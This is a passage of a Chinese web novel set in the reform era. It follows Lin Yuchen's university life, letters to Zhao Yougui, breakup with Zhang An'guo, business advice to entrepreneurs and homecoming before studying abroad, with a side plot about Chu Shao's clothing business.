入队两天,听说不少张安国的事迹。
S省槐县高考状元,差点被同县人顶名额上学。他妈硬是告进省局,把儿子的入学名额挣回来。
后来,母子两人留下老爹在家乡管田地,一起进城上学。
初来乍到,安国妈妈没什么谋生的手段,就想出走街串巷摆早饭摊的办法,竟也挣到钱供儿子读一年学。
张安国一身青布夹克式的工装,目光落在林语晨嫣红的唇瓣,看着雪白的贝齿细细地咬着食物,不由出神:“真好看!”
“安国,秀色可餐啊。”蒋经纬也看上林语晨,不过,他还不熟悉学妹的性子,先让张安国试试水。
林语晨应和张安国两句,转身去林荫树下吃饭。
张安国大方地笑笑,回头朝蒋经纬说:“古语有云:食色性也。大家又不是圣人,谁能免俗?”
蒋经纬哈哈大笑:林学妹的警惕心还是蛮高。
“是啊。大大方方讨论,害羞什么?林语晨就是漂亮。”
他也大声恭维一句。
另一男同学也说:“是啊。目前为止,我还没看到比她还好看的新生。”
林语晨被旁边的学姐撞下,扯起笑容:“王学姐。”
王玲笑笑:“他们在夸你呢。大学四年,你身边一定很热闹。”
“我是来读书,热闹不热闹跟我没关系。”林语晨笑说,一句话让有想法的学长都观望起来。
心理系是今年新成立的科系。
整个院系只招收八人,三名女生,五名男生。包括林语晨在内,专门选择这门专业只有两人,其余都是调剂生。
林语晨这位专选学生,综合成绩属于一般。
开课第一天就被专课郭老师点名:“林语晨同学,你为何选这门课?”
林语晨站起来,看着一帮注视的眼睛,默默地说:“它冷门,好进。”
郭老师似乎早料到这个答案,笑了声:“不错。这门课确实冷。但是,不要小看它。从1902年民国时代,京师大学堂就设立心理学,作为学生的通习科目。
未来,它也一定是社会热门专业。
禾凉梦,你呢?”
禾凉梦从林语晨旁边起来,暖暖笑说:“我和语晨一样,因为它冷。”
整个课堂爆笑。郭老师也忍俊不禁,大概没想到这期学生都这么实诚。
下课后,林语晨和禾凉梦一起赶去上下一堂课。<
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另一位女生俞柳艳也赶上来:“你们两个等等我。”
三人是一个寝室的室友,互通选报的课程,一起去上学。
——
苏市长锦街上开启一家成衣店铺。
楚邵拿着卖车的钱盘一家店,一家人住在店铺后面的小房子。他和林菲儿一起上外地进货,楚新意和邵美芬在店里卖衣服,林飞成就近上小学。
日子虽然苦,但是楚邵什么都不说,憋一口气要发家。林菲儿也不吭声,不和楚新意闹,同楚邵往一起往外跑,找货源充实店铺。
三个月后,楚邵攒了一点钱,买些礼物,带着邵美芬和楚新意登邵家的门。
邵家的老人已经过世,余下两位舅舅已经分家各过。大舅看着年过半百的妹妹,一时没敢认。
大舅妈担心这家人来打秋风,不想楚邵拿出不少礼物。
邵家顿时一片和气热闹。
自此后,楚家和邵家就有往来。
楚邵逼着妹妹楚新意读夜校学会计,请大舅妈帮邵美芬一起看店。
邵美芬做账可以,卖东西实在不行。舅妈又是本地人,买起衣服嘴巴子一摞摞往外倒,服装店的生意越做越好。
一年时间,楚邵在苏市几个片区都有服装店。
二舅一家也陆续进店帮忙。
林菲儿已经不用往外进货,只让二舅跟着楚邵往外跑。她开始管着一大家子的吃喝用,以及接受楚邵送的各种化妆品和服装,一度以为生活在天堂。
只是,她管多了,两位舅妈开始在邵美芬面前说长道短。
说她又不是楚家的人,连结婚证都没领,恁多事。
林菲儿听过几次很委屈,逼着楚邵去领证。
然而,楚邵沉默地看着她,凉薄的眼神里不用口诉都已经写明意思:我说过这辈子不会娶你。
林菲儿在眼神里似从天堂坠入疾苦人间,满心楚楚,都憋回肚子。
楚邵见她没有歇斯底里发作,看着她一身琳琅、艳光四射的模样,拉起笑容:“你准备准备,过两日,我要见单剑雄和赵楠天。”
林菲儿不解:“我准备什么?”
楚邵冷静说:“当然做你最擅长的事。”
可怕的人间还不够。她切身坠入地狱。
然而,林菲儿还是抱着一线希望,直到那场饭局到来。
单剑雄好女色,但是挑人,一直同楚邵说话。
两人谈起灵省灵市近些年的人事变动,无意间说起那位在职“老师”。
赵楠天觉得冷若冰霜的林菲儿非常对胃口,宴席上一直灌她酒。林菲儿的眼神瞟向楚邵,希求他看过来后会阻止。
然而,楚邵言笑晏晏,宛若彼此毫无瓜葛。
若是林菲儿这刻还不明白,枉做这么多年人。
饭局结束,她看着楚邵和单剑雄离去的背影,美梦彻底被打破。
她失去所有想法,一年多来的温馨全是假象,楚邵根本没有心。
地狱在人间,在男人没有感情的眼海,在他凉薄的举止当中。
林菲儿躺在赵楠天的床上,戚戚然笑着。
酣畅淋漓后,赵楠天冷静地说:“你很不错,样子也有趣。以后跟着我,比跟着他好。至少,我有做人的底线,不卖自己的女人。”
林菲儿侧面,看向朦胧的夜色:他也有不卖的人。只是,那个人不是我。
67. 三封信
两年半的时间倏忽流逝。
楚邵不仅在苏市站稳脚跟,重新拉起建筑队,而且把爪子伸回灵省,试图在灵市买地盘建楼。
然而,有一伙人比他的动作更快。
晨芳国际市场的建设完成,成为灵市最大的货流转运站。
总经理何罗秋在出狱后投靠淳于芳,帮她做事,驻扎在灵省市场。罗秋在灵市日渐成有头有脸的人物。
何方明的服装业在林语晨的干预下也越做越大,成为晨芳国际市场服装部最大的供货商之一。
*
灵省医科大学的门口,何罗秋丢下烟头后踩灭,看着一群大学生,露出成功人士的自信笑容。
比不上大学生富有的朝气,但是财富、心理上可以胜过他们。
“晓琳,这边。”
赵晓琳抱着厚厚的书本走来,埋怨说:“不是不让你来吗?”
同学路过,同她打招呼:“晓琳,男朋友啊,真帅。”
“这是最新的进口车吧,不便宜啊。”
赵晓琳瞪她们,上何罗秋的车。
“去我哥的店里。”
“先吃饭吧。我都订好位置。”何罗秋侧头看去,暖暖说,“你越来越好看,我倒是越来越老。”
“你也知道啊?满身烟气、酒气、市侩气,难闻死了。”赵晓琳撇脸向外,“真不回去读书吗?”
“读什么呀。我现在就挺好。”何罗秋撸下打摩斯的大背头。
“好什么好?大家都在读书,就你傻乎乎忙着赚钱。”赵晓琳想起一个人,“林语晨不是你这年纪考上大学吗?你也可以。”
“呵,”何罗秋笑了下,“说起来,语晨姐可能要出国,离开前想回来看看大家。另外,她是她,我是我。我是男人,得撑起养家糊口的责任。”
赵晓琳愣顿,忽视他后半句话:“她……真要出国?”
“嗯。自费留学,说是两年,不知道什么时候回来。”何罗秋看去,“不说她们。那家西餐厅是新开的店,听说东西很好吃,你一定会喜欢。”
“崇洋媚外。”赵晓琳回四字,看着膝头的医书,“有归哥……怎么办?她好自私。”
何罗秋听后笑笑,不再说话。
两人在店里沉默地吃完饭。
何罗秋看着手头的果珍饮料,试探说:“晓琳,若是赵有归不结婚,你就打算一直同我耗着。”
“我让你等吗?吃好了,送我去我哥那。”赵晓琳起身离去。
何罗秋看着固执的纤细背影,高声说:“赵晓琳,你知道外头有多少女人排着队要和我拍拖吗?”
赵晓琳回头睨去:“你找她们去啊。”
何罗秋跟着冲出店,试图拉她上车:“晓琳,是我冲动,你听我解释。”
赵晓琳挣扎:“放手。你放手就好了。”
何罗秋的身体选择放手,但是心理上依旧放不下。五年的感情,不是说放就能放下。
“你上车,我送你。但是,对你,我不会放手。”
赵晓琳愣住,撇开脸,坐进车。
两人沉默地向南门街开去。
半道上,赵晓琳突然问:“林语晨真要出国?”
“淳于芳说的,应该错不了。寒假里,她不待在南边,打算回来过。”何罗秋叹了声,“如果那个暑假,我听你的话,没再去南边,我们会不会走得更近?”
“不会。你会北上,而我会留在这。”赵晓琳撇眸,“你靠边停车,我要下车。”
何罗秋听着BB机的响声,靠边停车,看着开门离开的赵晓琳,追下车又看眼BB机的呼叫内容。
他踢了下街边的灯柱,转回车上往国际市场开去。
市局门口,赵晓琳徘徊许久,看到开车回来的赵有归,奔上去:“有归哥。”
“晓琳?哦,今天周六。”赵有归看着她,疑惑问,“怎么跑到这边来,找我?”
“嗯。有归哥,我有事和你说,关于语晨姐。”赵晓琳追在他后面进市局,看着顿了下继续走的男人,跟上去,“你不想知道她的事吗?”
赵有归在窗口拿上准备好的资料,已经思考过她来的目的。
“你是说她出国留学的事吗?”
“你……怎么知道?”赵晓琳跟着他回停车场。
赵有归开车门,看着已经是大姑娘的邻家妹子:“上车,哥送你去晓鹤那。”
赵晓琳开门的手微僵,面无表情地坐进车,沉声问:“你和林语晨有联系?”
“有。我帮她爸妈寄过年货,也给她写过信。她陆续回过几封。”赵有归想起信的内容,颇有意思地哂笑着,“晓琳,现在大三吧?时间过得很快。”
“有归哥,你真等得起吗?我不明白。”赵晓琳侧身看去,盯着他越发坚毅的线条轮廓。这个男人三十了,似乎也越来越有味道。可是,他也会老啊。对于男人来说,青春又有多久?
赵有归把车停在灵江边,正色看去:“晓琳,你已经是成年人,有些话我不该遮掩着说。
人需要爱情,充实人生。但是,它不是必需品。在你这个年纪对它充满幻想、憧憬,但在我这个年纪,它更像一阵可遇不可求的风。
我承认喜欢林语晨,至今没有放下她。但是,她有自己的人生。”
“不值得。”赵晓琳为他这份成熟、豁达的爱情感到委屈,惋惜这份感情为什么不是对自己。也为自己的等待感到酸楚,为何罗秋的执着感到绝望。
她哽咽地张口:“为什么她可以,我不可以?我不明白。”
——因为她在我这里很特别。
赵有归的大手撸上赵晓琳的短发,递去一包餐巾纸:“哪来那么多为什么。走吧,我送你回去。”
晓古知今的古风店招前,赵有归放下赵晓琳,开车离去。
他看着车外越来越拥挤的街道,形形色色的街边人流,深邃无波的眼神里划过一阵可笑的无奈。
说什么特别。林语晨是一阵风,只是她这阵风还不想停在某处。
到目的地后,赵有归打开副驾驶的车斗,翻出盖着邮戳的信封,取出里面的信纸。
“有归哥:
展信佳。
近来收到有归哥的两本报本,既意外又惊喜。感谢有归哥记得小妹那日在街上无心说过的话。
我仔细翻阅报本,得到不少实事新闻,以及近两年的政策变化。
不得不说,有归哥是天生的政.治人,贴的内容不仅井然有序而且非常好用。
婶婶的身体怎么样?她是住在城里还是农村?
我想她一定不敢和你说,她更想回新建村住吧?
对了,一位学长给我送近一年的早饭。我给他钱,他不收,只希望我做他的女朋友。
说实话,安国学长长得真不错,为人大气、性情稳定、而且不内耗又细心。有几次,我甚至从他身上看到你的影子。
……我不知道该不该接受他?
近来,我已经为留学做准备,参与求学考试,以及向外校发送申请函,目前还不知道结果。
若我要出国,又何必接受他人的交往请求,多添烦恼呢!
祝安好!
林语晨。
9月12日。”
赵有归折叠好后取出第二封信:
“有归哥:
春去冬来又一秋。
我收到你帮爸妈寄出的冬货。我请安国学长帮忙做成熟食,味道很好。而且,我建议他家开连锁快餐店,采购南方的腊肉食品作为特产食材。
爸妈是不是在骂我,一年多不回家看望他们。听说你有假期就回去,谢谢你帮我照顾他们!
我接受安国学长,答应同他试着交往。
禾凉梦说得对:青春很浅,何不大胆深入地逍遥一次。
其实,我知道我们注定没有结果。而且,若我不答应他,他会给我送早饭到毕业。
我壮着胆子说:我和你不会有下一个冬天。
安国学长说:没关系。我们有现在。
所以,我决定放肆一回,答应他。
我很作,要求他做这做那。
他一脸无奈地说:林语晨,真没想到你是这种女生。
哈哈哈……他被我好几次都气到无语。
不过,我们还是很要好,好到那种像是熟到互相损到对方把臭袜子放几天都不洗的老朋友。
祝有归哥早日觅得良人。
妹林语晨
敬上。
4月1日。”
赵有归展出第三封,正是前两日收到的信。
“有归哥:
近来可好?
眨眼已经过去多年。若算起来,我也是一年给你写一封信。明明不是习惯,却觉得这或许会成为一个习惯。
若我留下来,明年就是大四的毕业生了。那会有最后一封信吗?我不知道。
近期,学校挑选留学生。不出所料,我不在名单。不过不打紧,入学之初,我就已经开始为留学做足准备。
我早就已经把资料托人寄出去。一年多来,我陆陆续续挑选十几所大学。师娘李丽珍也帮我参考不少。
万幸,今年暑假,我收到一所大学的邀请涵。这学期结束,我会提前毕业离开本校,出国留学。
我相信你收到这封信时已经准备完全。在离开前,我会回灵市看望爸妈,看你和婶婶。
期待见面!
祝你步步高升。
林语晨。
11月23日
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。”
赵有归叠放着三张信纸,抚摸第二张上的“交往”两字,想象林语晨作天作地的模样,不由发笑。
折好信,看着那份从市局拿回的资料,启动车子赶去办事。
——
京大外的茶馆里,林语晨看着兴奋不已的张茉莉,好奇问:“你真入选了?”
“对啊。导演说,我很适合这个女角色。虽然只有两句话的台词,他说我的气质很好,多学习学习攒点经验,以后一定能做女主角。”
张茉莉喝口花茶,“语晨,你真要出国啊?咱们攒起来的家当够吃两辈子,吃那份苦干嘛?”
林语晨斜眼:“这话不是应该对你自己说吗?”
“说啊。我就是这么问自己。”
林语晨看着她妩媚的眼神,顺她的心意问:“答案呢?”
“为心中理想,吃些苦没什么。”张茉莉仰首说。
“神经。当年不知道是谁怼何罗秋:没苦硬吃,脑子有病。”林语晨看向玻璃窗外摇手的男人,挥了挥手。
张茉莉看着跑来的张安国,嫌弃地说:“当年是当年,如今我换男朋友跟换耳坠一样。我真不明白,张安国有什么好,你怎么看上他?我都怀疑你在他身上找赵有归的影子。”
“胡说什么。师娘已经帮我办妥出国留学的事。一月后放寒假,我就准备回去,来年在灵省坐飞机去美丽国。到时候,你记得回去送我。”林语晨说完,看着张安国进店,招了招手。
“我看情况吧,说不定还在剧组里呢。”张茉莉叹了声,“京城偌大,没了你,我待着也没意思。”
“你不是要买四合院吗?趁现在价格低,拿一套没坏处。以后不住人,留着做民宿也很有意思。”
张安国走近,招呼说:“语晨,茉莉。”
“你好。”茉莉平平地打声招呼,看着他坐在林语晨旁边,吃味说,“以前我的小姐妹身边可只能我坐呢。”
张安国一把握住林语晨搭在桌面上的手,稳重地笑说:“那你要失望了。以后,语晨的身边可只有我能坐啊。”
林语晨抽出手端起茶杯,喝了口:“茉莉很快要进组了,今年大概是我们最后一次见面。”
张安国听到这话想起林语晨出国的事,大方的恭喜茉莉找到工作。又说:“语晨,一会出去后我们去看电影吧。”
倾在她耳侧说,“今晚我们不回学校。”
“噢噢噢噢……当着我的面说悄悄话。”张茉莉倾过身,警告张安国,“别对我家语晨动歪心思啊。”
林语晨笑笑:“你不是说约了人吗?还不走啊。”
“咿,嫌我碍事。”张茉莉哼了声,拎起包包走到收银台,“服务员,我们那桌那个男生付钱。”
张安国看着她闹,朝安静喝茶的林语晨说:“不是一家人不进一家门。你们还真是像啊。”
林语晨勾起唇角:“今晚我没空,你知道我还要提前完成毕业论文,得回去赶作业。”
“语晨,我们已经交往七个月又二十二天,你和我回家见见我妈好吗?今天,我爸也来了。”张安国诚挚地说,再去握林语晨的手,却见她已经起身。
“语晨……”
林语晨离开桌边,在柜台处付款,回头说:“出去走走吧。”
两人走在宽阔的大马路上,吹着日趋转冷的寒风。
“安国,你知道我要走的路。”
“我想留下你。”张安国挡在她的路上,诚恳说,“林语晨,我爱你爱得发疯。你应该在一年前告诉我你要出国。然后,我会跟着你的脚步……”
“我知道自己要出国才同意与你交往。”林语晨看着他逐渐僵硬的表情,拍在他身侧的手臂,“你还不明白吗?安国,我和你永远是朋友。”
“林语晨。”张安国看着狠心离去的女人,高声说,“你对我就没有一点留念吗?”
林语晨回眸,看着他脖子里的格子围巾搭在雪白的衬衫上,外罩一身黑呢大衣,嫣然笑说:“也许吧。”
若是那个男人出口挽留呢?
林语晨自问一句,迎风笑摇着头。
临近校门口,又跳出来只拦路虎。
“林小姐,找你这个人真不容易,约你吃顿饭更是难。”林信华号称京城最浪公子。不久前他还是个败家玩意,却意外投资一家连锁餐饮,在短短时间内有点名副其实的名声。
林语晨没搭理他,脑子里过着儿童心理学的论文要点。
林信华停好车,追在她后面,兴致勃勃问:“有兴趣吃顿饭吗?”
“和谁?”林语晨撩眸。
“林中华,我老头。”林信华笑说,“自从我投资有点成绩后,大家都在打听你的名字,说你‘金口玉言’,值得一听。”
68. 返家乡
“谢你吹捧,让我莫名其妙出了名。”林语晨轻笑,“林伯父搞膨化食品,全国各地的小卖店都是他的零售商。他这样的大人物请我这种学生吃饭,太夸张吧?”
“嘿,这年头谁都想搞点长久营生,做笔大买卖。他觉得投资连锁快餐很有意思,想再听听你的意见。”
林信华看着近在咫尺的校门,赶紧拦她,“拜托。因为你的帮助,我现在已经不是街溜子一伙,还被爸妈夸奖。你知道这是我青春期以来第一次被夸奖吗?
只要你肯答应帮我,过我爸这关。你要的留学名额,一定帮你敲下来。”
“不用了。我已经申请自费留学,而且收到加州那边的入学邀请。”林语晨确实想过借用外力办成留学的事。
毕竟,大家都在做,你不做就吃亏。后来,她想起何罗秋坐牢的事,再有赵有归仿佛警钟般的警世名言,又觉得没这必要。
学校牵线的留学院校就那几所,各有规定。虽说以学校名义送留学生可以获得留学赞助,但不一定最适合学生自己。
一如当年她在病床上对李丽珍说的话:“我自己会搞定留学的费用。”
事实是她现在确实投资到足够留学的费用,而且努力拿到对方学校的offer。因此,她放弃搭上林信华背后——林中华这条线。
在林语晨的穿针引线下,林信华听信林语晨的意见,投资张安国妈妈开的餐饮店。
张安国也是顺杆爬的主,抓住这难得的机会,一口气在京城三大繁忙地段开三家餐饮门店,成为第一批有正式铺面的快餐店,而且在一月内做到日进斗金。
林信华一个出生就花钱的主,成为一日赚过万的万元户,立时扬眉吐气,大肆宣扬一番。
京城就有“林小姐说的话是金玉良言”这种说法。
林信华知道这女人能干、了不得,连留学都自己搞定。
他急中生智:“哎呀。你出门在外总要有人脉对吧?正好,我姑妈是78年的第一批留美学生,就在美丽国的加州,可以帮你解决旧金山那边的住宿问题。
你不走公立保送的路,选走私立大学,能接收你得就那几所大学。斯大对吧?”
近来,林信华学到不少,还向张安国打听清楚:林语晨前往美丽国留学,学校定在加州那边,正需要外人的助力。
林语晨莞尔:“你是有备而来啊。”
“那当然。请你吃顿饭总得拿出点诚意,不一定是最好的价格,但定是最适合你的筹码。怎么样?”
“不愧是世家公子,做事有一套。”林语晨点评,“今天不行,约在下周五晚上吧。你定地方,到时候让你的梦姑通知我一声。”
“得了。一定给你办妥。”林信华给她比个敬礼的手势,掉头离去。
林语晨回到宿舍开始写论文,旁边是厚厚一摞资料书。
禾凉梦和俞柳艳回宿舍。禾凉梦看到林语晨,问句:“语晨,听说你和张安国分了?”
林语晨顿了下,禾凉梦是林信华的女朋友,恐怕林信华找来前已经见过张安国……这事不必隐瞒。
她嗯了声,继续写着论文。
禾凉梦凑近说:“张安国现在的身价水涨船高,怎么不趁机抓住他啊?”
“就是。他给你送一年的早饭,足见诚意。”俞柳艳转动眼睛,“林语晨,你不要他,我可要追了。”
“随便。你们是自由人,男未婚女未嫁,想追就追吧。”林语晨揉捏额头,“我怎么就选儿童成长心理这个课题,要命!”
禾凉梦看向她奋笔疾书的论文稿:“就是啊。我们都没孩子,谁了解孩子内心怎么样啊?”
俞柳艳举手:“老郭说:大家都是从孩子过来,怎么会不了解孩子呢?”
禾凉梦:“哈哈哈……咱们这批人里就林语晨上当。”
林语晨放下笔,趴在桌面:“行了行了。别闹我。”
俞柳艳走近:“林语晨,我最后问你一遍:你真要放弃张安国?”
“是啊。这学期末我就毕业离校,他又决定留在这边,异地恋没前途。不分手等着被出轨劈腿啊。”林语晨歪脸,不知道是谁先出轨、谁先劈腿?
“我决定了,我要追张安国。反正,我是要留在这边当老师。”俞柳艳高举爪子,“林语晨,我可没有在你恋爱期间介入啊!所以,我现在是光明正大地趁虚而入!”
禾凉梦忍俊不禁:“祝你成功。”
俞柳艳睨去:“你肯定不愁啊。华公子被你吃得死死。他一个眼神,你就猜到他拉什么屎。”
“哈哈哈……”禾凉梦大笑,“你也学心理学,抓男人的心,不会输给任何人。”
“你们把心理学当什么?”林语晨也在笑:每个人都有自己想要奔赴的未来。
这就是读书的意义,开阔眼界,找到你想要的世界。
——
周五,景国饭店。
林语晨看着气势不凡的林中华,缓缓说:“林伯父为什么想转行呢?你从事的食品这行,前景很大。”
林中华老神在在:“你知道一包膨化饼干利润多少?五分钱。我要卖多少包,才能赚到一万。你帮信华出的主意很好,我敢帮他投资也是慎重考虑过这里面的营收。你看,这行是不是可以在外省也搞起来?”
“当然可以。你本身有做食品的基础,入这行很容易。”林语晨知道人有时候会拿不定主意,差得是一只推手。
现在的林中华就差有人推他一把。
林中华:“我明白了。对了,听说林小姐投资有方,还打算自费留学。听凉梦说,你在港市也有投资?”
“呵,我是沾朋友的光,带着我一起投资。我本身……投资很小,赚一点吃用,不值一提。”
林中华的笑容更盛:“林小姐年纪轻轻,能干又谦虚,着实厉害啊。你觉得我家信华怎么样?他还有个弟弟,名叫信中,清北毕业。我可以介绍你们认识。”
林语晨一脸意外,摇手笑言:“谢谢林伯父,你知道我马上要出国,这个节骨眼真没这些想法。”
“哈哈哈……是是是。信华的姑姑也在加州,若是你用得上,尽管去麻烦她。你和信华是朋友,他姑姑就是你姑姑。”林中华递完橄榄枝,话锋一转,“林小姐,你觉得未来投资什么比较合适呢?”
林语晨听到他真正的目的,洒脱一笑。
京圈人有不少存款,却没找到好门路。或者说,现在合适的门路已经被消息更灵通的人士提前占领。
余下京圈人的大批资金也想寻商机,落地创业,都想分一杯改革的羹。
林信华、张安国得到林语晨的指点,吃到第一桶金。
诚如林中华所说,生产的食品毛利润较低,意味发家慢,而京中有些人已经走得更快,让他们这些人坐不住。
“我去过中英街那边,英国人交给港人一种买卖方式,建立一个市场,集放各种生活日用品。客户只要进去采买,在出口处付款,就可以带大量商品回家。
若是林伯父想要新项目,可以考虑到港地深入参观,参考他们的销售模式回来建立自己的卖场。”
“港地、卖场。”
“是啊。若林伯父学来这个销售模式,您家的食品就不止是小卖部的买卖,而是大卖场里的必备商品。”林语晨不再多作解说,举起杯子。
林中华赶忙碰杯:“多谢林小姐。日后,我林家若在此站稳,定不忘林小姐的提点。”
林语晨莞尔:“客气了,林伯父。”
她走出景国饭店时迎来今冬的第一场雪。
零零散散飘落的雪花,像午夜黑白电视上的雪花点,彷如失落在时间长河里的模糊片段。
她出了下神:有男友挺好,起码这时候会送伞、会给你披大衣。
肩头一沉。
林语晨回头看向朦胧的脸,仿佛跨越魔幻的时空,见到远在灵省的男人。
当她定睛再看,看清张安国的脸:“怎么是你?”
“我和信华在旁边谈事,看到你出来就赶过来。走吧,我送你回学校。”张安国打开伞,陪她走在路上,“林语晨,没了你,我选衣服都
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费好半天的时间。每一件都有你的影子,想穿又怕穿上后没面子。”
林语晨知道张安国是个坦然不内耗的人,有什么说什么。
她轻笑了声,看着他的短装厚外套和牛仔裤,温声说:“最终你选择往日喜欢的穿法,保留自己的脸面。
半年多来,你应该感觉到自己像个娃娃一样被我打扮。”
“……”张安国如梦顿醒,低头看一身,“你……什么意思?”
“没什么。你穿得很精神,这是你的风格。”林语晨接过他手里的伞,含笑说,“现在,我正式提出分手,不突兀吧?”
“我不同意。我会等你回来。”张安国下意识说。
“可惜了。我只能单方面提出分手。另外,我们宿舍有人要追你,祝你幸福。”林语晨举着伞,步入鹅毛大雪,施施然离去。
张安国看着她的背影,眼里漫过一阵不舍。
“林语晨,我会记得你。”
记得两年多来,你带给我翻天覆地的变化。”
寒假后,林语晨顺利结束学业。
她把行李托运回老家,和张茉莉在新买的四合院里碰头告别,随后坐上回灵省的火车,结束北上求学的历程。
灵省火车站外,何罗秋已经得到消息过来接人。他帮林语晨把行李搬上车,客气问:“语晨姐,第一站去哪里?”
“晓古知今。”林语晨坐在后座,看着何罗秋的后脑勺,想起当年的事,“罗秋,你怪我吗?”
“不怪。”何罗秋从后视镜看去,“我出来后淳于芳找过来,给我两个选择。第一,回去继续学业。第二,成为她在灵省的代言人。我选择第二种。
事实证明,我没选错,现在的我走在很多人前面。”
林语晨:“你可以有机会当医生。”
何罗秋停在红灯前,拉起大大的笑脸:“我选医学护理,本就是因为晓琳。若是我去北方求学,而她在南方,那专业就毫无意义。
一开始,我确实有些埋怨,为什么语晨姐当初不让何成帮我们带水货。后来,我明白旁门左道走不长远,终究是要脚踏实地,如我追赵晓琳的方式。
随她北上学医,最终会被抛弃,不如现在这样:她有她的理想,我有我的生活方式。
语晨姐,我一直想对你说一声:谢谢。淳于芳说,你让她来找我,给我一份工作。
对此,我很感激你。”
听完他的自白,林语晨终于放下对当年这事的一点心结。
“你不怪我就好。对了,晓琳怎么样?”
何罗秋再次拉出大大的笑脸。他似乎格外爱笑。
“听说你要出国,去找赵有归谈心。结果应该不怎么好。反正,她一直待在学校没出来,约也约不上。”
林语晨轻笑了声,看着车外人流,颇有深意问:“你相信所有的等待都会开花结果吗?”
“信啊。所以,我还等着。语晨姐呢?你会回应那个等你的人。然后,让我也有结果得那天吗?”
林语晨被他逗笑:“加油吧!”
“好。”何罗秋停好车,把钥匙抛给林语晨,“那我走了,有需要解决的事用BB机联系我。”
“多谢。”林语晨拿好钥匙,走进晓古知今店铺。
赵晓鹤的晓古知今店变化很大,于两年多前相比,已经翻新得更大气更古朴。
林语晨拨开一串玛瑙珠帘,就听有人在里面招呼。
“你好,随便看吧。”赵晓鹤说完,继续手头的鉴定工作,听不到回应,推了下眼镜抬头。
大波浪卷的披肩长发夹一只银色的蝴蝶发卡,淡妆浓颜的脸上大大方方地笑望而来:“晓鹤!”
赵晓鹤眨好几下眼。
浅咖色的薄呢大衣罩在蝴蝶大领的米白色真丝衬衫上,下身是黑白色的千鸟格子短裙,宛如最时髦的都市丽人。
一双米色的短筒高跟鞋衬的人纤长如玉塑,与记忆里的老朋友简直判若两人。
“……林语晨?”
“不认识了?”林语晨笑望。
69. 国际化
“语晨!”赵晓鹤绕过桌子,伸手来抱,见她一身着装,不免有些望而却步。
林语晨被他犹疑的举动逗笑,主动虚抱他,拍在他的肩头:“两年不见,你怎么有了老学究的气质。”
这个温馨的动作让赵晓鹤瞬间回到从前的时光,一骨碌开始往外倒:“你还说我,我差点认不出你,怎么舍得回来?人家上学寒暑假都回老家,你上学跟失踪一样。”
赶忙请她入坐,又去倒茶,嘴上也没闲着,“回来就好。林叔和林姨可想你了。上次我回家还被他们问呢。我哪知道你什么时候回来啊?”
“我给他们打过电话。他们是想从你们那多知道点我的消息。我收到你给我写的信,知道你的店铺改过名头、重新装修,你响应号召去考鉴定师证。现在的古董市场行情怎么样?”
赵晓鹤愉悦又轻松地笑着:“也就这样吧。收得多,卖得少。你知道做我们这行,一年不开张,开张吃几年。上次,淳于芳给我介绍港地客户,卖掉几样老物件,让我可以不干活吃几年。”
忙完坐下,又细细地打量她,“我真得差点没认出你,变化怎么这么大呢?你在街上的回头率很高吧?太好看了。”
“哈哈……哪有啊。你果然是要开店,比以前会说话多了,变化也很大。”林语晨说起来店里的目的,“一会我打算拜访师娘李丽珍,之后回新建村。你回去吗?我们一起走啊。”
“好啊。现在时间还早,你先去拜访你的师娘。我去买点荤菜,一起带回去吃。咱们好久没见,真要好好聚一聚。”
赵晓鹤起身到一半,又突然坐下,“语晨,那个……你回来了,茉莉呢?”
“这两年茉莉一直想回来,但是他哥不让回。”
一个不让回,一个想提前毕业,一拍即合,正好都待在京城。
林语晨知道张天鸿为什么不让茉莉回去,因为“张家灭门案”的危机并没有完全消失。
张天鸿怕茉莉回去后有危险,严词拒绝茉莉回家。茉莉也有脾气,被骂几次后连过年都不回。
林语晨按下这茬,缓缓说:“过完年我要出国,她答应会送我。我想过年前她会回来。”看着赵晓鹤失落的表情,轻声问,“你还喜欢她呢?”
“啊!没……呵呵!大家好久没见,看到你就想起她,问一下嘛。”赵晓鹤挠头,“对了,今天周末,我们要不要喊上有归哥一起回去?”
“嗯,随你。他有车吧?我们各走个路。”林语晨喝口茶,眸中滑过了然的情绪,起身说,“我先去找师娘,一会见吧。”
“好。”赵晓鹤送她出门,看她开车离去,回头琢磨翻,拿起电话打进市局。
赵有归正好没事,接起电话。
“你说林语晨回来了?”
“对。我们约晚上一起回新建村吃饭。有归哥,婶婶不是回老家吗?明天正好周末,我们也回去聚聚吧?”
“我手头有点事没做完,再说吧。挂了。”赵有归放下电话发起呆。
回来意味着又要分别,而这次她会走得更远。
他打开抽屉,取出一只大红色的首饰盒子,里面是两枚钻石对戒。
女士钻戒的钻石不大,不过一克拉。
他把盒子塞进裤兜,又低头忙,忙什么已经不清楚,一直到下班的点,犹豫再三……双眸变坚定,起身拿钥匙,兴冲冲地出门。
*
李丽珍看到林语晨很高兴,拉她在家喝下午茶。
两人谈起最近灵省的政局变动以及市场行情变化。
李丽珍:“听北方人说,你在那边出了名。对了,这边有个姓邵的老板想约你吃顿饭。价钱好说。”
林语晨蹙眉:“这是什么新型套路?”
“圈子里已经传开,同灵省的林小姐吃顿饭,少走十八道弯路,少奋斗十年。你的名声已经传到南边,而且是神龙见首不见尾,都想知道你长什么样。如今约你吃顿饭的价钱可不便宜。”
“一定是林信华搞的鬼。”林语晨无奈地摇头,“若是谁请我吃饭都应,我也太好见。不约,而且我没那么多赚钱的点子分享给他们。若我真有想法,自己赚钱不香吗?”
李丽珍抚掌轻笑:“世上的钱啊赚不完。你在很久前就明白这个道理。不然,你也不会同我们合作,让淳于芳出头。
行吧,咱们林小姐现在神秘得很,确实不是谁想见就能见。
过完年,你到美丽国有什么想法吗?”
“我打算在那边成立一个办事处。你知道现在国际市场都看好我们的大市场,国人爱存钱,手头余钱够多。其次,国内人口量大,消费市场前景广阔。
对于老外来说,国内是一块肥肉。
与其便宜他们,不如,我们来牵线搭桥,从中取利。”
李丽珍睨她:“真是天生的商人。”
又说,“我同意你的部分想法。具体哪几方面可以入手呢?”
林语晨爱同李丽珍商量,师娘的见识和见解是张茉莉、淳于芳都比不了的。若是晨芳国际的股东里谁是顶梁柱,非李丽珍莫属。
“我们手头现有的资源当中,何方明的华丽服装厂规模最大。
我打算先帮他拉一些国际业务,加深同国外的联系。从实业转向高新科技电子产业。
具体方面有汽车、电子市场。你知道现在深地那边的电子手表已经论斤买卖,BB机在大规模进入市场。
我相信不久后应该会有更先进的电子产品进入国内市场。”
李丽珍发现她的眼界已经超越自己,点头赞许:“你的思路很好。现在,外省有几股资金流入灵省,一方面是建筑地产业;另一方面与晨芳国际市场有关。外面的人也想分一杯羹。”
